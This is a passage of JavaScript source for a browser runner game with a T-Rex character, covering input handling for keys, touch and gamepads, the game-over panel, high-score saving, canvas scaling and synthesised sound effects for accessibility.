this.horizon.obstacles[0].jumpAlerted = true;
}
}
}
// Activated alt game mode.
if (Runner.isAltGameModeEnabled() && collision &&
this.horizon.obstacles[0].typeConfig.type == 'COLLECTABLE') {
this.horizon.removeFirstObstacle();
this.tRex.setFlashing(true);
collision = false;
this.altGameModeFlashTimer = this.config.FLASH_DURATION;
this.runningTime = 0;
this.generatedSoundFx.collect();
}
if (!collision) {
this.distanceRan += this.currentSpeed * deltaTime / this.msPerFrame;
if (this.currentSpeed < this.config.MAX_SPEED) {
this.currentSpeed += this.config.ACCELERATION;
}
} else {
this.gameOver();
}
const playAchievementSound = this.distanceMeter.update(deltaTime,
Math.ceil(this.distanceRan));
if (!Runner.audioCues && playAchievementSound) {
this.playSound(this.soundFx.SCORE);
}
// Night mode.
if (!Runner.isAltGameModeEnabled()) {
if (this.invertTimer > this.config.INVERT_FADE_DURATION) {
this.invertTimer = 0;
this.invertTrigger = false;
this.invert(false);
} else if (this.invertTimer) {
this.invertTimer += deltaTime;
} else {
const actualDistance =
this.distanceMeter.getActualDistance(Math.ceil(this.distanceRan));
if (actualDistance > 0) {
this.invertTrigger =
!(actualDistance % this.config.INVERT_DISTANCE);
if (this.invertTrigger && this.invertTimer === 0) {
this.invertTimer += deltaTime;
this.invert(false);
}
}
}
}
}
if (this.playing || (!this.activated &&
this.tRex.blinkCount < Runner.config.MAX_BLINK_COUNT)) {
this.tRex.update(deltaTime);
this.scheduleNextUpdate();
}
},
/**
* Event handler.
* @param {Event} e
*/
handleEvent(e) {
return (function(evtType, events) {
switch (evtType) {
case events.KEYDOWN:
case events.TOUCHSTART:
case events.POINTERDOWN:
this.onKeyDown(e);
break;
case events.KEYUP:
case events.TOUCHEND:
case events.POINTERUP:
this.onKeyUp(e);
break;
case events.GAMEPADCONNECTED:
this.onGamepadConnected(e);
break;
}
}.bind(this))(e.type, Runner.events);
},
/**
* Initialize audio cues if activated by focus on the canvas element.
* @param {Event} e
*/
handleCanvasKeyPress(e) {
if (!this.activated && !Runner.audioCues) {
this.toggleSpeed();
Runner.audioCues = true;
this.generatedSoundFx.init();
Runner.generatedSoundFx = this.generatedSoundFx;
Runner.config.CLEAR_TIME *= 1.2;
} else if (e.keyCode && Runner.keycodes.JUMP[e.keyCode]) {
this.onKeyDown(e);
}
},
/**
* Prevent space key press from scrolling.
* @param {Event} e
*/
preventScrolling(e) {
if (e.keyCode === 32) {
e.preventDefault();
}
},
/**
* Toggle speed setting if toggle is shown.
*/
toggleSpeed() {
if (Runner.audioCues) {
const speedChange = Runner.slowDown != this.slowSpeedCheckbox.checked;
if (speedChange) {
Runner.slowDown = this.slowSpeedCheckbox.checked;
const updatedConfig =
Runner.slowDown ? Runner.slowConfig : Runner.normalConfig;
Runner.config = Object.assign(Runner.config, updatedConfig);
this.currentSpeed = updatedConfig.SPEED;
this.tRex.enableSlowConfig();
this.horizon.adjustObstacleSpeed();
}
if (this.playing) {
this.disableSpeedToggle(true);
}
}
},
/**
* Show the speed toggle.
* From focus event or when audio cues are activated.
* @param {Event=} e
*/
showSpeedToggle(e) {
const isFocusEvent = e && e.type == 'focus';
if (Runner.audioCues || isFocusEvent) {
this.slowSpeedCheckboxLabel.classList.toggle(
HIDDEN_CLASS, isFocusEvent ? false : !this.crashed);
}
},
/**
* Disable the speed toggle.
* @param {boolean} disable
*/
disableSpeedToggle(disable) {
if (disable) {
this.slowSpeedCheckbox.setAttribute('disabled', 'disabled');
} else {
this.slowSpeedCheckbox.removeAttribute('disabled');
}
},
/**
* Bind relevant key / mouse / touch listeners.
*/
startListening() {
// A11y keyboard / screen reader activation.
this.containerEl.addEventListener(
Runner.events.KEYDOWN, this.handleCanvasKeyPress.bind(this));
if (!IS_MOBILE) {
this.containerEl.addEventListener(
Runner.events.FOCUS, this.showSpeedToggle.bind(this));
}
this.canvas.addEventListener(
Runner.events.KEYDOWN, this.preventScrolling.bind(this));
this.canvas.addEventListener(
Runner.events.KEYUP, this.preventScrolling.bind(this));
// Keys.
document.addEventListener(Runner.events.KEYDOWN, this);
document.addEventListener(Runner.events.KEYUP, this);
// Touch / pointer.
this.containerEl.addEventListener(Runner.events.TOUCHSTART, this);
document.addEventListener(Runner.events.POINTERDOWN, this);
document.addEventListener(Runner.events.POINTERUP, this);
if (this.isArcadeMode()) {
// Gamepad
window.addEventListener(Runner.events.GAMEPADCONNECTED, this);
}
},
/**
* Remove all listeners.
*/
stopListening() {
document.removeEventListener(Runner.events.KEYDOWN, this);
document.removeEventListener(Runner.events.KEYUP, this);
if (this.touchController) {
this.touchController.removeEventListener(Runner.events.TOUCHSTART, this);
this.touchController.removeEventListener(Runner.events.TOUCHEND, this);
}
this.containerEl.removeEventListener(Runner.events.TOUCHSTART, this);
document.removeEventListener(Runner.events.POINTERDOWN, this);
document.removeEventListener(Runner.events.POINTERUP, this);
if (this.isArcadeMode()) {
window.removeEventListener(Runner.events.GAMEPADCONNECTED, this);
}
},
/**
* Process keydown.
* @param {Event} e
*/
onKeyDown(e) {
// Prevent native page scrolling whilst tapping on mobile.
if (IS_MOBILE && this.playing) {
e.preventDefault();
}
if (this.isCanvasInView()) {
// Allow toggling of speed toggle.
if (Runner.keycodes.JUMP[e.keyCode] &&
e.target == this.slowSpeedCheckbox) {
return;
}
if (!this.crashed && !this.paused) {
// For a11y, screen reader activation.
const isMobileMouseInput = IS_MOBILE &&
e.type === Runner.events.POINTERDOWN &&
e.pointerType == 'mouse' && e.target == this.containerEl ||
(IS_IOS && e.pointerType == 'touch' &&
document.activeElement == this.containerEl);
if (Runner.keycodes.JUMP[e.keyCode] ||
e.type === Runner.events.TOUCHSTART || isMobileMouseInput ||
(Runner.keycodes.DUCK[e.keyCode] && this.altGameModeActive)) {
e.preventDefault();
// Starting the game for the first time.
if (!this.playing) {
// Started by touch so create a touch controller.
if (!this.touchController && e.type === Runner.events.TOUCHSTART) {
this.createTouchController();
}
if (isMobileMouseInput) {
this.handleCanvasKeyPress(e);
}
this.loadSounds();
this.setPlayStatus(true);
this.update();
if (window.errorPageController) {
errorPageController.trackEasterEgg();
}
}
// Start jump.
if (!this.tRex.jumping && !this.tRex.ducking) {
if (Runner.audioCues) {
this.generatedSoundFx.cancelFootSteps();
} else {
this.playSound(this.soundFx.BUTTON_PRESS);
}
this.tRex.startJump(this.currentSpeed);
}
// Ducking is disabled on alt game modes.
} else if (
!this.altGameModeActive && this.playing &&
Runner.keycodes.DUCK[e.keyCode]) {
e.preventDefault();
if (this.tRex.jumping) {
// Speed drop, activated only when jump key is not pressed.
this.tRex.setSpeedDrop();
} else if (!this.tRex.jumping && !this.tRex.ducking) {
// Duck.
this.tRex.setDuck(true);
}
}
}
}
},
/**
* Process key up.
* @param {Event} e
*/
onKeyUp(e) {
const keyCode = String(e.keyCode);
const isjumpKey = Runner.keycodes.JUMP[keyCode] ||
e.type === Runner.events.TOUCHEND || e.type === Runner.events.POINTERUP;
if (this.isRunning() && isjumpKey) {
this.tRex.endJump();
} else if (Runner.keycodes.DUCK[keyCode]) {
this.tRex.speedDrop = false;
this.tRex.setDuck(false);
} else if (this.crashed) {
// Check that enough time has elapsed before allowing jump key to restart.
const deltaTime = getTimeStamp() - this.time;
if (this.isCanvasInView() &&
(Runner.keycodes.RESTART[keyCode] || this.isLeftClickOnCanvas(e) ||
(deltaTime >= this.config.GAMEOVER_CLEAR_TIME &&
Runner.keycodes.JUMP[keyCode]))) {
this.handleGameOverClicks(e);
}
} else if (this.paused && isjumpKey) {
// Reset the jump state
this.tRex.reset();
this.play();
}
},
/**
* Process gamepad connected event.
* @param {Event} e
*/
onGamepadConnected(e) {
if (!this.pollingGamepads) {
this.pollGamepadState();
}
},
/**
* rAF loop for gamepad polling.
*/
pollGamepadState() {
const gamepads = navigator.getGamepads();
this.pollActiveGamepad(gamepads);
this.pollingGamepads = true;
requestAnimationFrame(this.pollGamepadState.bind(this));
},
/**
* Polls for a gamepad with the jump button pressed. If one is found this
* becomes the "active" gamepad and all others are ignored.
* @param {!Array<Gamepad>} gamepads
*/
pollForActiveGamepad(gamepads) {
for (let i = 0; i < gamepads.length; ++i) {
if (gamepads[i] && gamepads[i].buttons.length > 0 &&
gamepads[i].buttons[0].pressed) {
this.gamepadIndex = i;
this.pollActiveGamepad(gamepads);
return;
}
}
},
/**
* Polls the chosen gamepad for button presses and generates KeyboardEvents
* to integrate with the rest of the game logic.
* @param {!Array<Gamepad>} gamepads
*/
pollActiveGamepad(gamepads) {
if (this.gamepadIndex === undefined) {
this.pollForActiveGamepad(gamepads);
return;
}
const gamepad = gamepads[this.gamepadIndex];
if (!gamepad) {
this.gamepadIndex = undefined;
this.pollForActiveGamepad(gamepads);
return;
}
// The gamepad specification defines the typical mapping of physical buttons
// to button indicies: https://w3c.github.io/gamepad/#remapping
this.pollGamepadButton(gamepad, 0, 38); // Jump
if (gamepad.buttons.length >= 2) {
this.pollGamepadButton(gamepad, 1, 40); // Duck
}
if (gamepad.buttons.length >= 10) {
this.pollGamepadButton(gamepad, 9, 13); // Restart
}
this.previousGamepad = gamepad;
},
/**
* Generates a key event based on a gamepad button.
* @param {!Gamepad} gamepad
* @param {number} buttonIndex
* @param {number} keyCode
*/
pollGamepadButton(gamepad, buttonIndex, keyCode) {
const state = gamepad.buttons[buttonIndex].pressed;
let previousState = false;
if (this.previousGamepad) {
previousState = this.previousGamepad.buttons[buttonIndex].pressed;
}
// Generate key events on the rising and falling edge of a button press.
if (state !== previousState) {
const e = new KeyboardEvent(state ? Runner.events.KEYDOWN
: Runner.events.KEYUP,
{ keyCode: keyCode });
document.dispatchEvent(e);
}
},
/**
* Handle interactions on the game over screen state.
* A user is able to tap the high score twice to reset it.
* @param {Event} e
*/
handleGameOverClicks(e) {
if (e.target != this.slowSpeedCheckbox) {
e.preventDefault();
if (this.distanceMeter.hasClickedOnHighScore(e) && this.highestScore) {
if (this.distanceMeter.isHighScoreFlashing()) {
// Subsequent click, reset the high score.
this.saveHighScore(0, true);
this.distanceMeter.resetHighScore();
} else {
// First click, flash the high score.
this.distanceMeter.startHighScoreFlashing();
}
} else {
this.distanceMeter.cancelHighScoreFlashing();
this.restart();
}
}
},
/**
* Returns whether the event was a left click on canvas.
* On Windows right click is registered as a click.
* @param {Event} e
* @return {boolean}
*/
isLeftClickOnCanvas(e) {
return e.button != null && e.button < 2 &&
e.type === Runner.events.POINTERUP &&
(e.target === this.canvas ||
(IS_MOBILE && Runner.audioCues && e.target === this.containerEl));
},
/**
* RequestAnimationFrame wrapper.
*/
scheduleNextUpdate() {
if (!this.updatePending) {
this.updatePending = true;
this.raqId = requestAnimationFrame(this.update.bind(this));
}
},
/**
* Whether the game is running.
* @return {boolean}
*/
isRunning() {
return !!this.raqId;
},
/**
* Set the initial high score as stored in the user's profile.
* @param {number} highScore
*/
initializeHighScore(highScore) {
this.syncHighestScore = true;
highScore = Math.ceil(highScore);
if (highScore < this.highestScore) {
if (window.errorPageController) {
errorPageController.updateEasterEggHighScore(this.highestScore);
}
return;
}
this.highestScore = highScore;
this.distanceMeter.setHighScore(this.highestScore);
},
/**
* Sets the current high score and saves to the profile if available.
* @param {number} distanceRan Total distance ran.
* @param {boolean=} opt_resetScore Whether to reset the score.
*/
saveHighScore(distanceRan, opt_resetScore) {
this.highestScore = Math.ceil(distanceRan);
this.distanceMeter.setHighScore(this.highestScore);
// Store the new high score in the profile.
if (this.syncHighestScore && window.errorPageController) {
if (opt_resetScore) {
errorPageController.resetEasterEggHighScore();
} else {
errorPageController.updateEasterEggHighScore(this.highestScore);
}
}
},
/**
* Game over state.
*/
gameOver() {
this.playSound(this.soundFx.HIT);
vibrate(200);
this.stop();
this.crashed = true;
this.distanceMeter.achievement = false;
this.tRex.update(100, Trex.status.CRASHED);
// Game over panel.
if (!this.gameOverPanel) {
const origSpriteDef = IS_HIDPI ?
Runner.spriteDefinitionByType.original.HDPI :
Runner.spriteDefinitionByType.original.LDPI;
if (this.canvas) {
if (Runner.isAltGameModeEnabled) {
this.gameOverPanel = new GameOverPanel(
this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
this.dimensions, origSpriteDef.ALT_GAME_END,
this.altGameModeActive);
} else {
this.gameOverPanel = new GameOverPanel(
this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
this.dimensions);
}
}
}
this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
// Update the high score.
if (this.distanceRan > this.highestScore) {
this.saveHighScore(this.distanceRan);
}
// Reset the time clock.
this.time = getTimeStamp();
if (Runner.audioCues) {
this.generatedSoundFx.stopAll();
announcePhrase(
getA11yString(A11Y_STRINGS.gameOver)
.replace(
'$1',
this.distanceMeter.getActualDistance(this.distanceRan)
.toString()) +
' ' +
getA11yString(A11Y_STRINGS.highScore)
.replace(
'$1',
this.distanceMeter.getActualDistance(this.highestScore)
.toString()));
this.containerEl.setAttribute(
'title', getA11yString(A11Y_STRINGS.ariaLabel));
}
this.showSpeedToggle();
this.disableSpeedToggle(false);
},
stop() {
this.setPlayStatus(false);
this.paused = true;
cancelAnimationFrame(this.raqId);
this.raqId = 0;
this.generatedSoundFx.stopAll();
},
play() {
if (!this.crashed) {
this.setPlayStatus(true);
this.paused = false;
this.tRex.update(0, Trex.status.RUNNING);
this.time = getTimeStamp();
this.update();
this.generatedSoundFx.background();
}
},
restart() {
if (!this.raqId) {
this.playCount++;
this.runningTime = 0;
this.setPlayStatus(true);
this.toggleSpeed();
this.paused = false;
this.crashed = false;
this.distanceRan = 0;
this.setSpeed(this.config.SPEED);
this.time = getTimeStamp();
this.containerEl.classList.remove(Runner.classes.CRASHED);
this.clearCanvas();
this.distanceMeter.reset();
this.horizon.reset();
this.tRex.reset();
this.playSound(this.soundFx.BUTTON_PRESS);
this.invert(true);
this.flashTimer = null;
this.update();
this.gameOverPanel.reset();
this.generatedSoundFx.background();
this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
announcePhrase(getA11yString(A11Y_STRINGS.started));
}
},
setPlayStatus(isPlaying) {
if (this.touchController) {
this.touchController.classList.toggle(HIDDEN_CLASS, !isPlaying);
}
this.playing = isPlaying;
},
/**
* Whether the game should go into arcade mode.
* @return {boolean}
*/
isArcadeMode() {
// In RTL languages the title is wrapped with the left to right mark
// control characters ‪ and ‬ but are invisible.
return IS_RTL ? document.title.indexOf(ARCADE_MODE_URL) == 1 :
document.title === ARCADE_MODE_URL;
},
/**
* Hides offline messaging for a fullscreen game only experience.
*/
setArcadeMode() {
document.body.classList.add(Runner.classes.ARCADE_MODE);
this.setArcadeModeContainerScale();
},
/**
* Sets the scaling for arcade mode.
*/
setArcadeModeContainerScale() {
const windowHeight = window.innerHeight;
const scaleHeight = windowHeight / this.dimensions.HEIGHT;
const scaleWidth = window.innerWidth / this.dimensions.WIDTH;
const scale = Math.max(1, Math.min(scaleHeight, scaleWidth));
const scaledCanvasHeight = this.dimensions.HEIGHT * scale;
// Positions the game container at 10% of the available vertical window
// height minus the game container height.
const translateY = Math.ceil(Math.max(0, (windowHeight - scaledCanvasHeight -
Runner.config.ARCADE_MODE_INITIAL_TOP_POSITION) *
Runner.config.ARCADE_MODE_TOP_POSITION_PERCENT)) *
window.devicePixelRatio;
const cssScale = IS_RTL ? -scale + ',' + scale : scale;
this.containerEl.style.transform =
'scale(' + cssScale + ') translateY(' + translateY + 'px)';
},
/**
* Pause the game if the tab is not in focus.
*/
onVisibilityChange(e) {
if (document.hidden || document.webkitHidden || e.type === 'blur' ||
document.visibilityState !== 'visible') {
this.stop();
} else if (!this.crashed) {
this.tRex.reset();
this.play();
}
},
/**
* Play a sound.
* @param {AudioBuffer} soundBuffer
*/
playSound(soundBuffer) {
if (soundBuffer) {
const sourceNode = this.audioContext.createBufferSource();
sourceNode.buffer = soundBuffer;
sourceNode.connect(this.audioContext.destination);
sourceNode.start(0);
}
},
/**
* Inverts the current page / canvas colors.
* @param {boolean} reset Whether to reset colors.
*/
invert(reset) {
const htmlEl = document.firstElementChild;
if (reset) {
htmlEl.classList.toggle(Runner.classes.INVERTED,
false);
this.invertTimer = 0;
this.inverted = false;
} else {
this.inverted = htmlEl.classList.toggle(
Runner.classes.INVERTED, this.invertTrigger);
}
},
};
/**
* Updates the canvas size taking into
* account the backing store pixel ratio and
* the device pixel ratio.
*
* See article by Paul Lewis:
* http://www.html5rocks.com/en/tutorials/canvas/hidpi/
*
* @param {HTMLCanvasElement} canvas
* @param {number=} opt_width
* @param {number=} opt_height
* @return {boolean} Whether the canvas was scaled.
*/
Runner.updateCanvasScaling = function(canvas, opt_width, opt_height) {
const context =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
// Query the various pixel ratios
const devicePixelRatio = Math.floor(window.devicePixelRatio) || 1;
/** @suppress {missingProperties} */
const backingStoreRatio =
Math.floor(context.webkitBackingStorePixelRatio) || 1;
const ratio = devicePixelRatio / backingStoreRatio;
// Upscale the canvas if the two ratios don't match
if (devicePixelRatio !== backingStoreRatio) {
const oldWidth = opt_width || canvas.width;
const oldHeight = opt_height || canvas.height;
canvas.width = oldWidth * ratio;
canvas.height = oldHeight * ratio;
canvas.style.width = oldWidth + 'px';
canvas.style.height = oldHeight + 'px';
// Scale the context to counter the fact that we've manually scaled
// our canvas element.
context.scale(ratio, ratio);
return true;
} else if (devicePixelRatio === 1) {
// Reset the canvas width / height. Fixes scaling bug when the page is
// zoomed and the devicePixelRatio changes accordingly.
canvas.style.width = canvas.width + 'px';
canvas.style.height = canvas.height + 'px';
}
return false;
};
/**
* Whether events are enabled.
* @return {boolean}
*/
Runner.isAltGameModeEnabled = function() {
return loadTimeData && loadTimeData.valueExists('enableAltGameMode');
};
/**
* Generated sound FX class for audio cues.
* @constructor
*/
function GeneratedSoundFx() {
this.audioCues = false;
this.context = null;
this.panner = null;
}
GeneratedSoundFx.prototype = {
init() {
this.audioCues = true;
if (!this.context) {
// iOS only supports the webkit version.
this.context = window.webkitAudioContext ? new webkitAudioContext() :
new AudioContext();
if (IS_IOS) {
this.context.onstatechange = (function() {
if (this.context.state != 'running') {
this.context.resume();
}
}).bind(this);
this.context.resume();
}
this.panner = this.context.createStereoPanner ?
this.context.createStereoPanner() :
null;
}
},
stopAll() {
this.cancelFootSteps();
},
/**
* Play oscillators at certain frequency and for a certain time.
* @param {number} frequency
* @param {number} startTime
* @param {number} duration
* @param {?number=} opt_vol
* @param {number=} opt_pan
*/
playNote(frequency, startTime, duration, opt_vol, opt_pan) {
const osc1 = this.context.createOscillator();
const osc2 = this.context.createOscillator();
const volume = this.context.createGain();
// Set oscillator wave type
osc1.type = 'triangle';
osc2.type = 'triangle';
volume.gain.value = 0.1;
// Set up node routing
if (this.panner) {
this.panner.pan.value = opt_pan || 0;
osc1.connect(volume).connect(this.panner);
osc2.connect(volume).connect(this.panner);
this.panner.connect(this.context.destination);
} else {
osc1.connect(volume);
osc2.connect(volume);
volume.connect(this.context.destination);
}
// Detune oscillators for chorus effect
osc1.frequency.value = frequency + 1;
osc2.frequency.value = frequency - 2;
// Fade out
volume.gain.setValueAtTime(opt_vol || 0.01, startTime + duration - 0.05);
volume.gain.linearRampToValueAtTime(0.00001, startTime + duration);
// Start oscillators
osc1.start(startTime);
osc2.start(startTime);
// Stop oscillators
osc1.stop(startTime + duration);
osc2.stop(startTime + duration);
},
background() {
if (this.audioCues) {
const now = this.context.currentTime;
this.playNote(493.883, now, 0.116);
this.playNote(659.255, now + 0.116, 0.232);
this.loopFootSteps();
}
},
loopFootSteps() {
if (this.audioCues && !this.bgSoundIntervalId) {
this.bgSoundIntervalId = setInterval(function() {
this.playNote(73.42, this.context.currentTime, 0.05, 0.16);
this.playNote(69.30, this.context.currentTime + 0.116, 0.116, 0.16);
}.bind(this), 280);
}
},
cancelFootSteps() {
if (this.audioCues && this.bgSoundIntervalId) {
clearInterval(this.bgSoundIntervalId);
this.bgSoundIntervalId = null;
this.playNote(103.83, this.context.currentTime, 0.232, 0.02);
this.playNote(116.54, this.context.currentTime + 0.116, 0.232, 0.02);
}
},
collect() {
if (this.audioCues) {
this.cancelFootSteps();
const now = this.context.currentTime;
this.playNote(830.61, now, 0.116);
this.playNote(1318.51, now + 0.116, 0.232);
}
},
jump() {
if (this.audioCues) {
const now = this.context.currentTime;
this.playNote(659.25, now, 0.116, 0.3, -0.6);
this.playNote(880, now + 0.116, 0.232, 0.3, -0.6);
}
},
};
/**
* Speak a phrase using Speech Synthesis API for a11y.
* @param {string} phrase Sentence to speak.
*/
function speakPhrase(phrase) {
if ('speechSynthesis' in window) {
const msg = new SpeechSynthesisUtterance(phrase);
const voices = window.speechSynthesis.getVoices();
msg.text = phrase;
speechSynthesis.speak(msg);
}
}
/**
* For screen readers make an announcement to the live region.
* @param {string} phrase Sentence to speak.
*/
function announcePhrase(phrase) {
if (Runner.a11yStatusEl) {
Runner.a11yStatusEl.textContent = '';
Runner.a11yStatusEl.textContent = phrase;
}
}
/**
* Returns a string from loadTimeData data object.
* @param {string} stringName
* @return {string}
*/
function getA11yString(stringName) {
return loadTimeData && loadTimeData.valueExists(stringName) ?
loadTimeData.getString(stringName) :
'';
}
/**
* Get random number.
* @param {number} min
* @param {number} max
*/
function getRandomNum(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
/**
* Vibrate on mobile devices.
* @param {number} duration Duration of the vibration in milliseconds.
*/
function vibrate(duration) {
if (IS_MOBILE && window.navigator.vibrate) {
window.navigator.vibrate(duration);
}
}
/**
* Create canvas element.
* @param {Element} container Element to append canvas to.
* @param {number} width
* @param {number} height
* @param {string=} opt_classname
* @return {HTMLCanvasElement}
*/
function createCanvas(container, width, height, opt_classname) {
const canvas =
/** @type {!HTMLCanvasElement} */ (document.createElement('canvas'));
canvas.className = opt_classname ? Runner.classes.CANVAS + ' ' +
opt_classname : Runner.classes.CANVAS;
canvas.width = width;
canvas.height = height;
container.appendChild(canvas);
return canvas;
}
/**
* Decodes the base 64 audio to ArrayBuffer used by Web Audio.
* @param {string} base64String
*/
function decodeBase64ToArrayBuffer(base64String) {
const len = (base64String.length / 4) * 3;
const str = atob(base64String);
const arrayBuffer = new ArrayBuffer(len);
const bytes = new Uint8Array(arrayBuffer);
for (let i = 0; i < len; i++) {
bytes[i] = str.charCodeAt(i);
}
return bytes.buffer;
}
/**
* Return the current timestamp.
* @return {number}
*/
function getTimeStamp() {
return IS_IOS ? new Date().getTime() : performance.now();
}
//******************************************************************************
/**
* Game over panel.
* @param {!HTMLCanvasElement} canvas
* @param {Object} textImgPos
* @param {Object} restartImgPos
* @param {!Object} dimensions Canvas dimensions.
* @param {Object=} opt_altGameEndImgPos
* @param {boolean=} opt_altGameActive
* @constructor
*/
function GameOverPanel(
canvas, textImgPos, restartImgPos, dimensions, opt_altGameEndImgPos,
opt_altGameActive) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.canvasDimensions = dimensions;
this.textImgPos = textImgPos;
this.restartImgPos = restartImgPos;
this.altGameEndImgPos = opt_altGameEndImgPos;
this.altGameModeActive = opt_altGameActive;
// Retry animation.
this.frameTimeStamp = 0;
this.animTimer = 0;
this.currentFrame = 0;
this.gameOverRafId = null;
this.flashTimer = 0;
this.flashCounter = 0;
this.originalText = true;
}
GameOverPanel.RESTART_ANIM_DURATION = 875;
GameOverPanel.LOGO_PAUSE_DURATION = 875;
GameOverPanel.FLASH_ITERATIONS = 5;
/**
* Animation frames spec.
*/
GameOverPanel.animConfig = {
frames: [0, 36, 72, 108, 144, 180, 216, 252],
msPerFrame: GameOverPanel.RESTART_ANIM_DURATION / 8,
};
/**
* Dimensions used in the panel.
* @enum {number}
*/
GameOverPanel.dimensions = {
TEXT_X: 0,
TEXT_Y: 13,
TEXT_WIDTH: 191,
TEXT_HEIGHT: 11,
RESTART_WIDTH: 36,
RESTART_HEIGHT: 32,
};
GameOverPanel.prototype = {
/**
* Update the panel dimensions.
* @param {number} width New canvas width.
* @param {number} opt_height Optional new canvas height.
*/
updateDimensions(width, opt_height) {
this.canvasDimensions.WIDTH = width;
if (opt_height) {
this.canvasDimensions.HEIGHT = opt_height;
}
this.currentFrame = GameOverPanel.animConfig.frames.length - 1;
},
drawGameOverText(dimensions, opt_useAltText) {
const centerX = this.canvasDimensions.WIDTH / 2;
let textSourceX = dimensions.TEXT_X;
let textSourceY = dimensions.TEXT_Y;
let textSourceWidth = dimensions.TEXT_WIDTH;
let textSourceHeight = dimensions.TEXT_HEIGHT;
const textTargetX = Math.round(centerX - (dimensions.TEXT_WIDTH / 2));
const textTargetY = Math.round((this.canvasDimensions.HEIGHT - 25) / 3);
const textTargetWidth = dimensions.TEXT_WIDTH;
const textTargetHeight = dimensions.TEXT_HEIGHT;
if (IS_HIDPI) {
textSourceY *= 2;
textSourceX *= 2;
textSourceWidth *= 2;
textSourceHeight *= 2;
}
if (!opt_useAltText) {
textSourceX += this.textImgPos.x;
textSourceY += this.textImgPos.y;
}
const spriteSource =
opt_useAltText ? Runner.altCommonImageSprite : Runner.origImageSprite;
this.canvasCtx.save();
if (IS_RTL) {
this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
this.canvasCtx.scale(-1, 1);
}
// Game over text from sprite.
this.canvasCtx.drawImage(
spriteSource, textSourceX, textSourceY, textSourceWidth,
textSourceHeight, textTargetX, textTargetY, textTargetWidth,
textTargetHeight);
this.canvasCtx.restore();
},
/**
* Draw additional adornments for alternative game types.
*/
drawAltGameElements(tRex) {
// Additional adornments.
if (this.altGameModeActive && Runner.spriteDefinition.ALT_GAME_END_CONFIG) {
const altGameEndConfig = Runner.spriteDefinition.ALT_GAME_END_CONFIG;
let altGameEndSourceWidth = altGameEndConfig.WIDTH;
let altGameEndSourceHeight = altGameEndConfig.HEIGHT;
const altGameEndTargetX = tRex.xPos + altGameEndConfig.X_OFFSET;
const altGameEndTargetY = tRex.yPos + altGameEndConfig.Y_OFFSET;
if (IS_HIDPI) {
altGameEndSourceWidth *= 2;
altGameEndSourceHeight *= 2;
}
this.canvasCtx.drawImage(
Runner.altCommonImageSprite, this.altGameEndImgPos.x,
this.altGameEndImgPos.y, altGameEndSourceWidth,
altGameEndSourceHeight, altGameEndTargetX, altGameEndTargetY,
altGameEndConfig.WIDTH, altGameEndConfig.HEIGHT);
}
},
/**
* Draw restart button.
*/
drawRestartButton() {
const dimensions = GameOverPanel.dimensions;
let framePosX = GameOverPanel.animConfig.frames[this.currentFrame];
let restartSourceWidth = dimensions.RESTART_WIDTH;
let restartSourceHeight = dimensions.RESTART_HEIGHT;
const restartTargetX =
(this.canvasDimensions.WIDTH / 2) - (dimensions.RESTART_WIDTH / 2);
const restartTargetY = this.canvasDimensions.HEIGHT / 2;
if (IS_HIDPI) {
restartSourceWidth *= 2;
restartSourceHeight *= 2;
framePosX *= 2;
}
this.canvasCtx.save();
if (IS_RTL) {
this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
this.canvasCtx.scale(-1, 1);
}
this.canvasCtx.drawImage(
Runner.origImageSprite, this.restartImgPos.x + framePosX,
this.restartImgPos.y, restartSourceWidth, restartSourceHeight,
restartTargetX, restartTargetY, dimensions.RESTART_WIDTH,
dimensions.RESTART_HEIGHT);
this.canvasCtx.restore();
},
/**
* Draw the panel.
* @param {boolean} opt_altGameModeActive
* @param {!Trex} opt_tRex
*/
draw(opt_altGameModeActive, opt_tRex) {
if (opt_altGameModeActive) {
this.altGameModeActive = opt_altGameModeActive;
}
this.drawGameOverText(GameOverPanel.dimensions, false);
this.drawRestartButton();
this.drawAltGameElements(opt_tRex);
this.update();
},
/**
* Update animation frames.
*/
update() {
const now = getTimeStamp();
const deltaTime = now - (this.frameTimeStamp || now);
this.frameTimeStamp = now;
this.animTimer += deltaTime;
this.flashTimer += deltaTime;
// Restart Button
if (this.currentFrame == 0 &&
this.animTimer > GameOverPanel.LOGO_PAUSE_DURATION) {
this.animTimer = 0;
this.currentFrame++;
this.drawRestartButton();
} else if (
this.currentFrame > 0 &&
this.currentFrame < GameOverPanel.animConfig.frames.length) {
if (this.animTimer >= GameOverPanel.animConfig.msPerFrame) {
this.currentFrame++;
this.drawRestartButton();
}
} else if (
!this.altGameModeActive &&
this.currentFrame == GameOverPanel.animConfig.frames.length) {
this.reset();
return;
}
// Game over text
if (this.altGameModeActive &&
Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG) {
const altTextConfig =
Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG;
if (this.flashCounter < GameOverPanel.FLASH_ITERATIONS &&
this.flashTimer > altTextConfig.FLASH_DURATION) {
this.flashTimer = 0;
this.originalText = !this.originalText;
this.clearGameOverTextBounds();
if (this.originalText) {
this.drawGameOverText(GameOverPanel.dimensions, false);
this.flashCounter++;
} else {
this.drawGameOverText(altTextConfig, true);
}
} else if (this.flashCounter >= GameOverPanel.FLASH_ITERATIONS) {
this.reset();
return;
}
}
this.gameOverRafId = requestAnimationFrame(this.update.bind(this));
},
/**
* Clear game over text.
*/
clearGameOverTextBounds() {
this.canvasCtx.save();
this.canvasCtx.clearRect(
Math.round(
this.canvasDimensions.WIDTH / 2 -
(GameOverPanel.dimensions.TEXT_WIDTH / 2)),
Math.round((this.canvasDimensions.HEIGHT - 25) / 3),
GameOverPanel.dimensions.TEXT_WIDTH,
GameOverPanel.dimensions.TEXT_HEIGHT + 4);
this.canvasCtx.restore();
},
reset() {
if (this.gameOverRafId) {
cancelAnimationFrame(this.gameOverRafId);
this.gameOverRafId = null;
}
this.animTimer = 0;
this.frameTimeStamp = 0;
this.currentFrame = 0;
this.flashTimer = 0;
this.flashCounter = 0;
this.originalText = true;
},
};
//******************************************************************************
/**
* Check for a collision.
